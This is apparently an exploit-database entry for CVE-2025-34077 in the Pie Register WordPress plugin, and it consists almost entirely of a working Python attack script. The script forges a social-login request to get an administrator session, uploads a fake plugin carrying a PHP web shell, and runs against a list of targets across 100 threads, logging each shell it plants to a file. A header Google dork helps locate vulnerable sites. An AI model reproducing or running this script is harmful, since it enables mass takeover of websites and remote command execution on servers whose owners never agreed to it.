Pie Register WordPress Plugin 3.7.1.4 – Authentication Bypass to RCE
# Exploit Title: Pie Register WordPress Plugin 3.7.1.4 - Authentication Bypass to RCE # Google Dork: inurl:/wp-content/plugins/pie-register/ # Date: 2025-07-09 # Exploit Author: Md Amanat Ullah (xSwads) # Vendor Homepage: https://wordpress.org/plugins/pie-register/ # Software Link: https://downloads.wordpress.org/plugin/pie-register.3.7.1.4.zip # Version: <= 3.7.1.4 # Tested on: Ubuntu 22.04 # CVE: CVE-2025-34077 #!/usr/bin/env python3 import requests import zipfile import io import sys from concurrent.futures import ThreadPoolExecutor, as_completed from colorama import Fore, Style, init from threading import Lock init(autoreset=True) SHELL_PHP = "<?php if(isset($_GET['cmd'])) echo shell_exec($_GET['cmd']); ?>" PLUGIN_DIR = "evilplugin" ZIP_NAME = "evilplugin.zip" SHELL_FILE = "shell.php" OUTPUT_FILE = "Shells.txt" HEADERS = {'User-Agent': 'Mozilla/5.0'} TIMEOUT = 10 lock = Lock() def FilterURLS(site): site = site.strip() if not site.startswith(('http://', 'https://')): site = 'http://' + site if not site.endswith('/'): site += '/' return site def make_shell_zip(): buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as z: z.writestr(f"{PLUGIN_DIR}/{PLUGIN_DIR}.php", "<?php /* Plugin */ ?>") z.writestr(f"{PLUGIN_DIR}/{SHELL_FILE}", SHELL_PHP) buf.seek(0) return buf def exploit(target): target = FilterURLS(target) session = requests.Session() data = {"social_site": "true", "user_id_social_site": "1"} try: r = session.post(f"{target}?pr_social_login=1", data=data, headers=HEADERS, timeout=TIMEOUT) except: print(f"{Fore.RED}[Failed] - {target}") return if not session.cookies: print(f"{Fore.RED}[Failed] - {target}") return files = {"pluginzip": (ZIP_NAME, make_shell_zip(), "application/zip")} try: upload = session.post(f"{target}wp-admin/plugin-install.php?upload", files=files, headers=HEADERS, timeout=TIMEOUT) except: print(f"{Fore.RED}[Failed] - {target}") return if "Plugin installed successfully" in upload.text: shell_url = f"{target}wp-content/plugins/{PLUGIN_DIR}/{SHELL_FILE}" print(f"{Fore.GREEN}[Exploited] - {shell_url}") with lock: with open(OUTPUT_FILE, "a") as f: f.write(shell_url + "\n") else: print(f"{Fore.RED}[Failed] - {target}") def main(targets_file): with open(targets_file, "r") as f: targets = [line.strip() for line in f if line.strip()] with ThreadPoolExecutor(max_workers=100) as executor: futures = [executor.submit(exploit, target) for target in targets] for _ in as_completed(futures): pass if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} list.txt") sys.exit(1) main(sys.argv[1]) |